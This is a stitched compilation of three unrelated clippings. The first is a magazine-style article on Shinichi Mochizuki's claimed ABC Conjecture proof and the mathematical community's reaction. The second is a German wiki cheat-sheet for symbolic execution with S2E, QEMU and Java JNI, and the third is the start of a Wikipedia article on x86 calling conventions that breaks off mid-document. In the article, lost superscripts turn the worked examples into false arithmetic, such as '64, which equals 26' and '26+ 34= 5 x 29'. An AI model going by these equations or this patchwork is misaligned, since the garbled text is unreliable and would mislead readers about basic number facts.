The claim was audacious: he said he had proved the ABC Conjecture, a famed,
beguilingly simple number theory problem that had stumped mathematicians for
decades**.**

Then Mochizuki walked away. He did not send his work to the Annals of
Mathematics**.** Nor did he leave a message on any of the online forums
frequented by mathematicians around the world**.** He just posted the papers,
and waited**.**

Two days later, Jordan Ellenberg, a math professor at the University of
Wisconsin-Madison, received an email alert from Google Scholar, a service
which scans the Internet looking for articles on topics he has specified**.**
On September 2, Google Scholar sent him Mochizuki’s papers: _You might be
interested in this**.**_

“I was like, ‘Yes, Google, I am kind of interested in that**\!** ’” Ellenberg
recalls**.** “I posted it on Facebook and on my blog, saying, ‘By the way, it
seems like Mochizuki solved the ABC Conjecture**.** ’”

The Internet exploded**.** Within days, even the mainstream media had picked
up on the story**.** “World’s Most Complex Mathematical Theory Cracked,”
announced the Telegraph**.** “Possible Breakthrough in ABC Conjecture,”
reported the New York Times, more demurely**.**

On MathOverflow, an online math forum, mathematicians around the world began
to debate and discuss Mochizuki’s claim**.** The question which quickly
bubbled to the top of the forum, encouraged by the community’s “upvotes,” was
simple: “Can someone briefly explain the philosophy behind his work and
comment on why it might be expected to shed light on questions like the ABC
conjecture**?** ” asked Andy Putman, assistant professor at Rice
University**.** Or, in plainer words: I don’t get it. Does anyone?

The problem, as many mathematicians were discovering when they flocked to
Mochizuki’s website, was that the proof was impossible to read**.** The first
paper, entitled “Inter-universal Teichmuller Theory I: Construction of Hodge
Theaters,” starts out by stating that the goal is “to establish an arithmetic
version of Teichmuller theory for number fields equipped with an elliptic
curve…by applying the theory of semi-graphs of anabelioids, Frobenioids, the
etale theta function, and log-shells**.** ”

This is not just gibberish to the average layman**.** It was gibberish to the
math community as well.

“Looking at it, you feel a bit like you might be reading a paper from the
future, or from outer space,” wrote Ellenberg on his blog**.**

“It’s very, very weird,” says Columbia University professor Johan de Jong, who
works in a related field of mathematics**.**

Mochizuki had created so many new mathematical tools and brought together so
many disparate strands of mathematics that his paper was populated with
vocabulary that nobody could understand**.** It was totally novel, and totally
mystifying.

As Tufts professor Moon Duchin put it: “He’s really created his own world**.**
”

It was going to take a while before anyone would be able to understand
Mochizuki’s work, let alone judge whether or not his proof was right**.** In
the ensuing months, the papers weighed like a rock in the math community**.**
A handful of people approached it and began examining it**.** Others tried,
then gave up. Some ignored it entirely, preferring to observe from a
distance**.** As for the man himself, the man who had claimed to solve one of
mathematics’ biggest problems, there was not a sound**.**

For centuries, mathematicians have strived towards a single goal: to
understand how the universe works, and describe it**.** To this objective,
math itself is only a tool — it is the language that mathematicians have
invented to help them describe the known and query the unknown**.**

This history of mathematical inquiry is marked by milestones that come in the
form of theorems and conjectures**.** Simply put, a theorem is an observation
known to be true**.** The Pythagorean theorem, for example, makes the
observation that for all right-angled triangles, the relationship between the
lengths of the three sides, _a_ , _b_ and _c_ is expressed in the equation
a2\+ b2= c2**.** Conjectures are predecessors to a theorem — they are
proposals for theorems, observations that mathematicians believe to be true,
but are yet to be confirmed**.** When a conjecture is proved, it becomes a
theorem and when that happens, mathematicians rejoice, and add the new theorem
to their tally of the understood universe**.**

“The point is not to prove the theorem,” explains Ellenberg**.** “The point is
to understand how the universe works and what the hell is going on**.** ”

Ellenberg is doing the dishes while talking to me over the phone, and I can
hear the sound of a small infant somewhere in the background**.** Ellenberg is
passionate about explaining mathematics to the world**.** He writes a math
column for Slate magazine and is working on a book called _How Not To Be
Wrong,_ which is supposed to help laypeople apply math to their lives**.**

The sounds of the dishes pause as Ellenberg explains what motivates him and
his fellow mathematicians**.** I imagine him gesturing in the air with soapy
hands: “There’s a feeling that there’s a vast dark area of ignorance, but all
of us are pushing together, taking steps together to pick at the
boundaries**.** ”

The ABC Conjecture probes deep into the darkness, reaching at the foundations
of math itself**.** First proposed by mathematicians David Masser and Joseph
Oesterle in the 1980s, it makes an observation about a fundamental
relationship between addition and multiplication**.** Yet despite its deep
implications, the ABC Conjecture is famous because, on the surface, it seems
rather simple**.**

It starts with an easy equation: _a_ \+ _b_ =_c_**.**

The variables _a_ , _b_ , and _c,_ which give the conjecture its name, have
some restrictions**.** They need to be whole numbers, and _a_ and _b_ cannot
share any common factors, that is, they cannot be divisible by the same prime
number**.** So, for example, if _a_ was 64, which equals 26, then _b_ could
not be any number that is a multiple of two**.** In this case, _b_ could be
81, which is 34**.** Now _a_ and _b_ do not share any factors, and we get the
equation 64 + 81 = 145**.**

It isn’t hard to come up with combinations of _a_ and _b_ that satisfy the
conditions**.** You could come up with huge numbers, such as 3,072 + 390,625 =
393,697 \(3,072 = 210 x 3 and 390,625 = 58, no overlapping factors there\), or
very small numbers, such as 3 + 125 = 128 \(125 = 5 x 5 x5\)**.**

What the ABC conjecture then says is that the properties of _a_ and _b_ affect
the properties of _c**.**_ To understand the observation, it first helps to
rewrite these equations _a + b = c_ into versions made up of the prime
factors:

Our first equation, 64 + 81 = 145, is equivalent to 26\+ 34= 5 x 29**.**

Our second example, 3,072 + 390,625 = 393,697 is equivalent to 210 x 3 + 58 =
393,697 \(which happens to be prime**\!**\)

Our last example, 3 + 125 = 128, is equivalent to 3 + 53= 27

The first two equations are not like the third, because in the first two
equations, you have lots of prime factors on the left hand side of the
equation, and very few on the right hand side**.** The third example is the
opposite — there are more primes on the right hand side \(seven\) of the
equation than on the left \(only four\)**.** As it turns out, in all the
possible combinations of _a, b,_ and _c,_ situation three is pretty rare**.**
The ABC Conjecture essentially says that when there are lots of prime factors
on the left hand of the equation then, usually, there will be not very many on
the right side of the equation**.**

Of course, “lots of,” “not very many,” and “usually” are very vague words, and
in a formal version of the ABC Conjecture, all these terms are spelled out in
more precise math-speak**.** But even in this watered-down version, one can
begin to appreciate the conjecture’s implications**.** The equation is based
on addition, but the conjecture’s observation is more about
multiplication**.**

“It really is about something very, very basic, about a tight constraint that
relates multiplicative and additive properties of numbers,” says Minhyong Kim,
professor at Oxford University**.** “If there’s something new to discover
about that, you might expect it to be very influential**.** ”

This is not intuitive. While mathematicians came up with addition and
multiplication in the first place, based on their current knowledge of
mathematics, there is no reason for them to presume that the additive
properties of numbers would somehow influence or affect their multiplicative
properties**.**

“There’s very little evidence for it,” says Peter Sarnak, professor at
Princeton University, who is a self-described skeptic of the ABC
conjecture**.** “I’ll only believe it when it’s proved.”

But if it were true? Mathematicians say that it would reveal a deep
relationship between addition and multiplication that they never knew of
before**.**

Even Sarnak, the skeptic, acknowledges this**.**

“If it’s true, then it will be the most powerful thing we have,” he says**.**

It would be so powerful, in fact, that it would automatically unlock many
legendary math puzzles**.** One of these would be Fermat’s last theorem, an
infamous math problem that was proposed in 1637, and solved only recently by
Andrew Wiles in 1993**.** Wiles’ proof earned him more than 100,000 Deutsche
marks in prize money \(equivalent to about $50,000 in 1997\), a reward that
was offered almost a century before, in 1908**.** Wiles did not solve Fermat’s
Last Theorem via the ABC conjecture — he took a different route — but if the
ABC conjecture were to be true, then the proof for Fermat’s Last Theorem would
be an easy consequence**.**

Because of its simplicity, the ABC Conjecture is well-known by all
mathematicians**.** CUNY professor Lucien Szpiro says that “every professional
has tried at least one night” to theorize about a proof**.** Yet few people
have seriously attempted to crack it**.** Szpiro, whose eponymous conjecture
is a precursor of the ABC Conjecture, presented a proof in 2007, but it was
soon found to be problematic**.** Since then, nobody has dared to touch it,
not until Mochizuki**.**

When Mochizuki posted his papers, the math community had much reason to be
enthusiastic**.** They were excited not just because someone had claimed to
prove an important conjecture, but because of who that someone was**.**

Mochizuki was known to be brilliant**.** Born in Tokyo, he moved to New York
with his parents, Kiichi and Anne Mochizuki, when he was 5 years old**.** He
left home for high school, attending Philips Exeter Academy, a selective prep
school in New Hampshire**.** There, he whipped through his academics with
lightning speed, graduating after two years, at age 16, with advanced
placements in mathematics, physics, American and European history, and
Latin**.**

Then Mochizuki enrolled at Princeton University where, again, he finished
ahead of his peers, earning his bachelor’s degree in mathematics in three
years and moving quickly onto his Ph**.** D, which he received at age 23.
After lecturing at Harvard University for two years, he returned to Japan,
joining the Research Institute for Mathematical Sciences at Kyoto
University**.** In 2002, he became a full professor at the unusually young age
of 33**.** His early papers were widely acknowledged to be very good work**.**

Academic prowess is not the only characteristic that set Mochizuki apart from
his peers**.** His friend, Oxford professor Minhyong Kim, says that
Mochizuki’s most outstanding characteristic is his intense focus on work**.**

“Even among many mathematicians I’ve known, he seems to have an extremely high
tolerance for just sitting and doing mathematics for long, long hours,” says
Kim**.**

Mochizuki and Kim met in the early 1990s, when Mochizuki was still an
undergraduate student at Princeton**.** Kim, on exchange from Yale University,
recalls Mochizuki making his way through the works of French mathematician
Alexander Grothedieck, whose books on algebraic and arithmetic geometry are a
must-read for any mathematician in the field**.**

“Most of us gradually come to understand \[Grothendieck’s works\] over many
years, after dipping into it here and there,” said Kim**.** “It adds up to
thousands and thousands of pages.”

But not Mochizuki**.**

“Mochizuki…just read them from beginning to end sitting at his desk,” recalls
Kim**.** “He started this process when he was still an undergraduate, and
within a few years, he was just completely done**.** ”

A few years after returning to Japan, Mochizuki turned his focus to the ABC
Conjecture**.** Over the years, word got around that he believed to have
cracked the puzzle, and Mochizuki himself said that he expected results by
2012**.** So when the papers appeared, the math community was waiting, and
eager**.** But then the enthusiasm stalled**.**

“His other papers – they’re readable, I can understand them and they’re
fantastic,” says de Jong, who works in a similar field**.** Pacing in his
office at Columbia University, de Jong shook his head as he recalled his first
impression of the new papers**.** They were different. They were unreadable.
After working in isolation for more than a decade, Mochizuki had built up a
structure of mathematical language that only he could understand**.** To even
begin to parse the four papers posted in August 2012, one would have to read
through hundreds, maybe even thousands, of pages of previous work, none which
had been vetted or peer-reviewed**.** It would take at least a year to read
and understand everything**.** De Jong, who was about to go on sabbatical,
briefly considered spending his year on Mochizuki’s papers, but when he saw
height of the mountain, he quailed**.**

“I decided, I can’t possibly work on this**.** It would drive me nuts,” he
said.

Soon, frustration turned into anger**.** Few professors were willing to
directly critique a fellow mathematician, but almost every person I
interviewed was quick to point out that Mochizuki was not following community
standards**.** Usually, they said, mathematicians discuss their findings with
their colleagues**.** Normally, they publish pre-prints to widely respected
online forums. Then they submit their papers to the Annals of Mathematics,
where papers are refereed by eminent mathematicians before publication**.**
Mochizuki was bucking the trend. He was, according to his peers,
“unorthodox**.** ”

But what roused their ire most was Mochizuki’s refusal to lecture**.**
Usually, after publication, a mathematician lectures on his papers, travelling
to various universities to explain his work and answer questions from his
colleagues**.** Mochizuki has turned down multiple invitations.

“A very prominent research university has asked him, ‘Come explain your
result,’ and he said, ‘I couldn’t possibly do that in one talk,’” says Cathy
O’Neil, de Jong’s wife, a former math professor better known as the blogger
“Mathbabe**.** ”

“And so they said, ‘Well then, stay for a week,’ and he’s like, ‘I couldn’t do
it in a week**.** ’

“So they said, ‘Stay for a month. Stay as long as you want,’ and he still said
no.

“The guy does not want to do it**.** ”

Kim sympathizes with his frustrated colleagues, but suggests a different
reason for the rancor**.** “It really is painful to read other people’s work,”
he says**.** “That’s all it is… All of us are just too lazy to read them**.**
”

Kim is also quick to defend his friend**.** He says Mochizuki’s reticence is
due to being a “slightly shy character” as well as his assiduous work
ethic**.** “He’s a very hard working guy and he just doesn’t want to spend
time on airplanes and hotels and so on**.** ”

O’Neil, however, holds Mochizuki accountable, saying that his refusal to
cooperate places an unfair burden on his colleagues**.**

“You don’t get to say you’ve proved something if you haven’t explained it,”
she says**.** “A proof is a social construct. If the community doesn’t
understand it, you haven’t done your job**.** ”

Today, the math community faces a conundrum: the proof to a very important
conjecture hangs in the air, yet nobody will touch it**.** For a brief moment
in October, heads turned when Yale graduate student Vesselin Dimitrov pointed
out a potential contradiction in the proof, but Mochizuki quickly responded,
saying he had accounted for the problem**.** Dimitrov retreated, and the
flicker of activity subsided**.**

As the months pass, the silence has also begun to call into question a basic
premise of mathematical academia**.** Duchin explains the mainstream view this
way: “Proofs are right or wrong**.** The community passes verdict.”

This foundational stone is one that mathematicians are proud of**.** The
community works together; they are not cut-throat or competitive**.**
Colleagues check each other’s work, spending hours upon hours verifying that a
peer got it right**.** This behavior is not just altruistic, but also
necessary: unlike in medical science, where you know you’re right if the
patient is cured, or in engineering, where the rocket either launches or it
doesn’t, theoretical math, better known as “pure” math, has no physical,
visible standard**.** It is entirely based on logic. To know you’re right
means you need someone else, preferably many other people, to walk in your
footsteps and confirm that every step was made on solid ground**.** A proof in
a vacuum is no proof at all.

Even an incorrect proof is better than no proof, because if the ideas are
novel, they may still be useful for other problems, or inspire another
mathematician to figure out the right answer**.** So the most pressing
question isn’t whether or not Mochizuki is right — the more important question
is, will the math community fulfill their promise, step up to the plate and
read the papers**?**

The prospects seem thin. Szpiro is among the few who have made attempts to
understand short segments of the paper**.** He holds a weekly workshop with
his post-doctoral students at CUNY to discuss the paper, but he says they are
limited to “local” analysis and do not understand the big picture yet**.** The
only other known candidate is Go Yamashita, a colleague of Mochizuki at Kyoto
University**.** According to Kim, Mochizuki is holding a private seminar with
Yamashita, and Kim hopes that Yamashita will then go on to share and explain
the work**.** If Yamashita does not pull through, it is unclear who else might
be up to the task**.**

For now, all the math community can do is wait**.** While they wait, they tell
stories, and recall great moments in math — the year Wiles cracked Fermat’s
Last Theorem; how Perelman proved the Poincaré Conjecture**.** Columbia
professor Dorian Goldfeld tells the story of Kurt Heegner, a high school
teacher in Berlin, who solved a classic problem proposed by Gauss**.** “Nobody
believed it. All the famous mathematicians pooh-poohed it and said it was
wrong**.** ” Heegner’s paper gathered dust for more than a decade until
finally, four years after his death, mathematicians realized that Heegner had
been right all along**.** Kim recalls Yoichi Miyaoka’s proposed proof of
Fermat’s Last Theorem in 1988, which garnered a lot of media attention before
serious flaws were discovered**.** “He became very embarrassed,” says Kim.

As they tell these stories, Mochizuki and his proofs hang in the air**.** All
these stories are possible outcomes. The only question is – which**?**

Kim is one of the few people who remains optimistic about the future of this
proof**.** He is planning a conference at Oxford University this November, and
hopes to invite Yamashita to come and share what he has learned from
Mochizuki**.** Perhaps more will be made clear, then.

As for Mochizuki, who has refused all media requests, who seems so reluctant
to promote even his own work, one has to wonder if he is even aware of the
storm he has created**.**

On his website, one of the only photos of Mochizuki available on the Internet
shows a middle-aged man with old-fashioned 90’s style glasses, staring up and
out, somewhere over our heads**.** A self-given title runs over his head. It
is not “mathematician” but, rather, “Inter-universal Geometer**.** ”

What does it mean? His website offers no clues. There are his papers,
thousands of pages long, reams upon reams of dense mathematics**.** His resume
is spare and formal. He reports his marital status as “Single \(never
married\)**.** ” And then there is a page called _Thoughts of Shinichi
Mochizuki_ , which has only 17 entries**.** “I would like to report on my
recent progress,” he writes, February 2009**.** “Let me report on my
progress,” October 2009. “Let me report on my progress,” April 2010, June
2011, January 2012**.** Then follows math-speak. It is hard to tell if he is
excited, daunted, frustrated, or enthralled**.**

Mochizuki has reported all this progress for years, but where is he going**?**
This “inter-universal geometer,” this possible genius, may have found the key
that would redefine number theory as we know it**.** He has, perhaps, charted
a new path into the dark unknown of mathematics**.** But for now, his
footsteps are untraceable. Wherever he is going, he seems to be travelling
alone**.**

Contact the Author: www.carolinechen.net  | Twitter @CarolineYLChen 
****

# Hands On Experience – /bin - basisgruppe informatik - wiki

**Created:**| _5/28/2011 12:49:45 PM_  
---|---  
**Updated:**| _5/28/2011 12:49:55 PM_  
**Author:**| __  
**Tags:**| _cheat sheets Tutorials awesome symbolic exec_  
  

# Hands On Experience

### Aus /bin - basisgruppe informatik - wiki

Wechseln zu: Navigation, Suche

A cheat-sheet for the practical use of S²E

## Inhaltsverzeichnis

  * 1 Basics
    * 1.1 Creating Images
    * 1.2 QEMU: Networking between Guest and Host
    * 1.3 Workflow of symbolically execute a simple C-program
    * 1.4 Questions
  * 2 Symbolically execute simple java-programs with S2E
    * 2.1 Use Java Native Interface
    * 2.2 On the guest machine
    * 2.3 Look at Machine Code / Byte Code
      * 2.3.1 Get Machine code which is the result of JITing bytecode inside JVM

  
---  
# \[Bearbeiten\] Basics

## \[Bearbeiten\] Creating Images

  * Start with an empty image and load a certain .ISO in the virtual CDROM-drive

[code]

    qemu-img create -f raw s2e_disk.raw 2
    qemu s2e_disk.raw -cdrom debian-6.0.0-i386-businesscard.iso
    
    
[/code]

  * With ALT+CTRL+2 you can switch inside the QEMU-guest-machine to the QEMU-console. If you type 'quit' the VM is closed.
  * Convert the RAW-image to a QCOW2-Image to support copy-on-write and saving vmstates for S²E by typing 'savevm 1' \(takes a few minutes on my quadcore... hm, what about copy on write?\)

[code]

    qemu-img convert -O qcow2 s2e_disk.raw s2e_disk.qcow2
    
    
[/code]

## \[Bearbeiten\] QEMU: Networking between Guest and Host

\(Source: http://hub.opensolaris.org/bin/view/Project+qemu/Qemu\_Networking \)

  * IP-Adress of Guest: 10.0.2.15
  * IP-Adress of Host \(for Guest only\): 10.0.2.2

If you install an SSH-server on the host, you can fetch files from the guest
system:

[code]

    scp user@10.0.2.2:~/S2E/s2e/guest/include/s2e.h
    
    
[/code]

## \[Bearbeiten\] Workflow of symbolically execute a simple C-program

  * Start the guest system in vanilla-qemu and compile

[code]

    gcc -m32 -O3 test.c -o test
    
    
[/code]

    
    **-O3** activates level-3-optimization \(f.ex. inlining\)
    **-m32** This option generates code for a 32-bit environments \(this is especially needed when you want to compile for a 32-bit-code in a 64-bit-environment\).
  * Try a mini-program and follow the steps here

## \[Bearbeiten\] Questions

  * I've found the following warning in messages.txt: _KLEE: WARNING: calling external: cpu\_x86\_handle\_mmu\_fault\(2922820, c60a1f80, 1, 0, 1\)_. What does it mean?

# \[Bearbeiten\] Symbolically execute simple java-programs with S2E

  * I started from here

## \[Bearbeiten\] Use Java Native Interface

  * A good step-by-step tutorial can be found here: http://www.cs.umanitoba.ca/~eclipse/8-JNI.pdf

My files look like this: First, a Wrapper which mitigates the calls to the
native S2E-methods in s2e.h

[code]

    //S2EWrapper.java
    
    public class S2EWrapper {
    
            public static native int getVersion();
            public static native void printMessage(String message);
            public static native void printWarning(String warning);
            public static native void enableForking();
            public static native void disableForking();
            public static native void killState(int status, String message);
            
            // only done for integers for now
            public static native int getSymbolic(String name);
            public static native int getExampleValue(int symbvar);
            public static native int concretize(int var);
            public static native void assertThat(boolean condition, String failMessage);
            
            //Load the library
              static {
                System.loadLibrary("S2EWrapper");
              }
              
    }
    
    
[/code]

Note for System.loadLibrary: In Unix-Environments, if you specify "S2EWrapper"
as library, you need to have a "libS2EWrapper.so" file containing the native
library. In Windows-environments, the filename has to be S2EWrapper.dll.

  
Next, a java-class which calls native libs:

[code]

    //jtest.java
    public class jtest {
    
            /**
             * @param args
             */
            public static void main(String[] args) {
                    int x = 2;
                    int max = 30;
                    if (args.length == 2) {
                            try {
                                    x = Integer.valueOf(args[0]);
                                    max = Integer.valueOf(args[1]);
                            } catch (Exception e ) {
                                    System.out.println("arguments are not integers - using default values.");
                            }
                            
                            int level = checkRadiation(x,max);
                            System.out.println("Alarm Level: "+level);
                            return;
                    }
                    
                    System.out.println("we need two integer arguments");
                    return;
            }
    
            
            public static int checkRadiation(int x, int max) {
                    
                    
                    System.out.println("S2E-Version: "+S2EWrapper.getVersion());
                    System.out.println("X: "+x+" MAX: "+max);
      
                      S2EWrapper.enableForking();
                      x = S2EWrapper.getSymbolic("s");
                      
                      int ret = 0;
                      
                      if (x <= (max/2)) {
                             S2EWrapper.printMessage("if branch. example: "+S2EWrapper.getExampleValue(x));
                         ret = x/1;
                      } else if (x <= max) {
                             S2EWrapper.printMessage("elseif branch. example: "+S2EWrapper.getExampleValue(x)); 
                         ret= x/2;
                      } else {
                              S2EWrapper.printMessage("else branch. example: "+S2EWrapper.getExampleValue(x));
                              ret= x/3;
                      }
    
                    S2EWrapper.assertThat(ret >=0, "Alarm level is not positive.");
                    S2EWrapper.disableForking();
                    S2EWrapper.killState(1, "State killed");
                    return ret;
                      
            }
            
    }
    
    
[/code]

First, automatically create a header-file S2EWrapper.h to get signatures for
the methods:

[code]

    javah -jni S2EWrapper
    
    
[/code]

Based on this, create a S2EWrapper.c and implement the methods:

[code]

    #include <jni.h>
    #include <s2e.h>
    #include "S2EWrapper.h"
    
    
    
    JNIEXPORT jint JNICALL Java_S2EWrapper_getSymbolic
      (JNIEnv *env, jclass class, jstring symbname) {
                    jboolean iscopy;
                    int x;
                    const char *symbol = (*env)->GetStringUTFChars(
                            env, symbname, &iscopy);
                s2e_make_symbolic(&x, sizeof(x), symbol);
                return x;
    }
    
    JNIEXPORT jint JNICALL Java_S2EWrapper_getVersion
      (JNIEnv *env, jclass class) {
            return s2e_version();
    }
    
    JNIEXPORT void JNICALL Java_S2EWrapper_printMessage
      (JNIEnv *env, jclass class, jstring string) {
    
            jboolean iscopy;
            const char *message = (*env)->GetStringUTFChars(env, string, &iscopy);
            s2e_message(message);
            return;
    }
    
    JNIEXPORT void JNICALL Java_S2EWrapper_printWarning
      (JNIEnv *env, jclass class, jstring string) {
    
            jboolean iscopy;
            const char *message = (*env)->GetStringUTFChars(env, string, &iscopy);
            s2e_warning(message);
            return;
    }
    
    JNIEXPORT void JNICALL Java_S2EWrapper_enableForking
      (JNIEnv *env, jclass class) {
            s2e_enable_forking();
            return;
    }
    
    JNIEXPORT void JNICALL Java_S2EWrapper_disableForking
      (JNIEnv *env, jclass class) {
            s2e_disable_forking();
            return;
    }
    
    JNIEXPORT void JNICALL Java_S2EWrapper_killState
      (JNIEnv *env, jclass class, jint status, jstring string) {
            jboolean iscopy;
            const char *message = (*env)->GetStringUTFChars(env, string, &iscopy);
            int i_status = status;
            s2e_kill_state(i_status, message);
            return;
    }
    
    JNIEXPORT jint JNICALL Java_S2EWrapper_getExampleValue
      (JNIEnv *env, jclass class, jint var) {
            s2e_get_example(&var, sizeof(var));
            return var;
    }
    
    JNIEXPORT jint JNICALL Java_S2EWrapper_concretize
      (JNIEnv *env, jclass class, jint var) {
                    s2e_concretize(&var,sizeof(var));
                    return var;
    }
    
    JNIEXPORT void JNICALL Java_S2EWrapper_assertThat
      (JNIEnv *env, jclass class, jboolean condition, jstring failmsg) {
                    jboolean iscopy;
                    const char *message = (*env)->GetStringUTFChars(env, failmsg, &iscopy);
                    _s2e_assert(condition,message);
                    return;
    }
    
    
[/code]

  
To simplify, create a **makefile** to do all the necessary stuff:

[code]

    //makefile
    all : libS2EWrapper.so
    
    libS2EWrapper.so : S2EWrapper.o
            gcc -m32 -O3 -shared -o libS2EWrapper.so S2EWrapper.o
    
    S2EWrapper.o : S2EWrapper.c S2EWrapper.h
            gcc -m32 -O3 -I "/usr/lib/jvm/java-6-openjdk/include/" -I "/home/aka/S2E/s2e/guest/include" -I "/home/aka/workspace/s2ejava/src" -c S2EWrapper.c -o S2EWrapper.o
    
    S2EWrapper.h : S2EWrapper.class
            javah -jni S2EWrapper
    
    S2EWrapper.class :
            javac S2EWrapper.java
    
    clean :
            -rm S2EWrapper.h
            -rm S2EWrapper.o
            -rm S2EWrapper.class
            -rm libS2EWrapper.so
    
    
    
[/code]

  
When calling **make all** it creates a header-file S2EWrapper.h, then an
object file \(given the necessary paths\) and a shared library.

## \[Bearbeiten\] On the guest machine

  * use s2e-disabled-qemu for preparation \(faster\)
  * retrieve the directory from the host machine

[code]

    scp -r user@10.10.2.2:~/workspace/s2ejava/src ./
    
    
[/code]

  * install a jdk \(apt-get install openjdk-6-jdk\)
  * make clean all
  * <ALT>+<CTRL>+2 to get into QEMU-console / **savevm 1** to save the state / **quit**
  * run the java program with the command below - use s2e-enabled-qemu with the stored state: **~/S2E/qemu-release/i386-s2e-softmmu/qemu ~/S2E/s2e\_disk.qcow2 -loadvm 1 -s2e-config-file ~/S2E/config.lua -s2e-verbose**

[code]

    java -Djava.library.path=./ jtest 1 4
    
[/code]

You may see the following native code-error with vanilla QEMU which disappears
when you use a S2E-patched qemu \(directories **$S2E/qemu-
release/i386-softmmu** and **i386-s2e-softmmu**\).

[code]

    #
    # A fatal error has been detected by the Java Runtime Environment:
    #
    #  SIGILL (0x4) at pc=0x00007fd509a475d5, pid=29583, tid=140553105749760
    #
    # JRE version: 6.0_20-b20
    # Java VM: OpenJDK 64-Bit Server VM (19.0-b09 mixed mode linux-amd64 compressed oops)
    # Derivative: IcedTea6 1.9.7
    # Distribution: Ubuntu 10.10, package 6b20-1.9.7-0ubuntu1
    # Problematic frame:
    # C  [libS2EWrapper.so+0x5d5]
    #
    # An error report file with more information is saved as:
    # /home/aka/workspace/s2ejava/src/hs_err_pid29583.log
    #
    # If you would like to submit a bug report, please include
    # instructions how to reproduce the bug and visit:
    #   https://bugs.launchpad.net/ubuntu/+source/openjdk-6/
    # The crash happened outside the Java Virtual Machine in native code.
    # See problematic frame for where to report the bug.
    #
    
    
[/code]

## \[Bearbeiten\] Look at Machine Code / Byte Code

Some useful links:

  * List of Java Bytecode Instructions
  * X86 Instruction Listings
  * Overview of the Java Virtual Machine
  * Bytecode-Basics
  * LLVM Language Reference Manual
  * KLEE Query Language

When using S²E it makes sense to view machinecode and bytecode to understand
what is going on during symbolic execution:

  * You can store the bytecode of the file jtest.class to jtest.bytecode by typing:

[code]

    javap -c jtest >jtest.bytecode
    
[/code]

  * Moreover, path conditions in S²E are formulated in KLEE query language, for example:

[code]

    (Eq 0 (And w32 (LShr w32 (LShr w32 (Extract w32 0 (SDiv w64 (Or w64 (Shl w64 (ZExt w64 (AShr w32 N0:(ReadLSB w32 0 s) 31)) 32) (ZExt w64 N0)) 1)) 24) 7) 1))
    
[/code]

### \[Bearbeiten\] Get Machine code which is the result of JITing bytecode
inside JVM

Getting the actual machine code which is created when the Java Virtual Machine
compiles the bytecode into native machine code \(i.e. X86 instructions\) is
not difficult but requires a bit work in the guest OS:

  * To use the Program Counter \(PC\)-information which is logged during the execution in S²E \(written in messages.txt\), we need to know the current assembly code as it is created and executed, because this is exactly the code which is then put into KLEE \(in symbolic execution mode\).
  * In Open-JDK you need to install a disassembler plugin \(as described in this article\). I chose to download the compiled binary for i386 on the guest machine.
  * Installation means copying the downloaded plugin \(something like: libhsdis-i386.so\) to the directories where the libjvm.so is located. Here in the guest debian system: 
    * /usr/lib/jvm/java-6-openjdk/jre/lib/i386/client
    * /usr/lib/jvm/java-6-openjdk/jre/lib/i386/server
  * save the vmstate \(savevm 1\) and start this state with S²E-enabled QEMU. Then run the following command to execute the test program in S²E with the disassembler plugin enabled \(get some tea, it takes longer than usual\):

[code]

    java -Djava.library.path=./ -XX:+UnlockDiagnosticVMOptions -XX:+PrintAssembly -Xcomp jtest 1 4 >jtest.fullyDisassembled.txt
    
[/code]

  * It is also possible to restrict the output of disassembled statements to certain methods:

[code]

    java -Djava.library.path=./ -XX:+UnlockDiagnosticVMOptions -XX:CompileCommand=print,jtest.checkRadiation -XX:CompileCommand=print,S2EWrapper.* -Xcomp jtest 1 4 >jtest.checkRadiationDisassembled.txt
    
[/code]

  * Furthermore, you can print the list of compiled methods \(but its easier to have the whole output to have the instructions of most of the possible pc's which could appear in message.txt\):

[code]

    java -Djava.library.path=./ -XX:+UnlockDiagnosticVMOptions -XX:+PrintCompilation -Xcomp jtest 1 4 >jtest.listOfCompiledMethods.txt
    
[/code]

  * Unfortunately, all writes to harddisc are lost and since we piped the output in the file jtest.checkRadiationDisassembled.txt and the all states are killed, the file is lost after shutdown. But we can forward the file over scp after executing is done and before the initial state is killed:

[code]

    java -Djava.library.path=./ -XX:+UnlockDiagnosticVMOptions -XX:+PrintAssembly -Xcomp jtest 1 4 >jtest.checkRadiationDisassembled.txt; scp jtest.checkRadiationDisassembled.txt <user>@10.0.2.2:~; ./kill;
    
[/code]

  * Since there is no password parameter for scp, you need to work with ssh-keys in order to send data without password query: Generate a keypair \(private/public\) and send it to the host machine \(f.ex. see instructions here\)
  * I had to comment out the killState\(\)-statement in the target java program. This gives me the opportunity to send the generated file jtest.checkRadiationDisassembled.txt to the host. To force a shutdown of the guestmachine afterwards, I wrote and compiled a simple c program which only executes a s2e\_killState\(0,"autokill"\) in the main routine.

# x86 calling conventions - Wikipedia, the free encyclopedia

**Created:**| _12/9/2009 10:31:43 PM_  
---|---  
**Updated:**| _12/9/2009 10:31:56 PM_  
**Author:**| __  
**Tags:**| _asm x86 ref_  
  

# x86 calling conventions

### From Wikipedia, the free encyclopedia

This article describes, in computing, the calling conventions used on the x86
architecture.

Calling conventions describe the interface of called code:

  * The order in which parameters are allocated
  * Where parameters are placed \(pushed on the stack or placed in registers\)
  * Which registers may be used by the function
  * Whether the caller or the callee is responsible for unwinding the stack on return

A closely related topic is name mangling, which determines how symbol names in
the code map to symbol names used by the linker.

There are often subtle differences in how various compilers implement these
conventions, so it is often difficult to interface code which is compiled by
different compilers. On the other hand, conventions which are used as an API
standard \(such as stdcall\) are necessarily very uniformly implemented.

## Contents

\[hide\]

  * 1 Historical background
  * 2 Caller clean-up
    * 2.1 cdecl
    * 2.2 syscall
    * 2.3 optlink
  * 3 Callee clean-up
    * 3.1 pascal
    * 3.2 register
    * 3.3 stdcall
    * 3.4 fastcall
      * 3.4.1 Microsoft fastcall
      * 3.4.2 Borland fastcall
      * 3.4.3 Watcom register based calling convention
      * 3.4.4 TopSpeed / Clarion / JPI
    * 3.5 safecall
  * 4 Either caller or callee clean-up
    * 4.1 thiscall
  * 5 Intel ABI
  * 6 Microsoft x64 calling convention
  * 7 AMD64 ABI convention
  * 8 Standard exit and entry sequences for C code
  * 9 References
  * 10 External links

  
---  
## \[edit\]Historical background

In the times of minicomputers, the machine manufacturer also used to provide
an OS for it and most \(if not all\) of the software, including compilers for
various languages. So there used to be only one calling convention per
language: the one implemented by the manufacturer's compilers.

The IBM PC case was totally different. One firm \(IBM\) provided the hardware,
another \(Intel\) made the processor, the third \(Microsoft\) was responsible
for the OS \(MS-DOS\), and many others wrote compilers for quite a number of
programming languages. Different mutually exclusive calling schemes were thus
designed to satisfy their different requirements.

## \[edit\]Caller clean-up

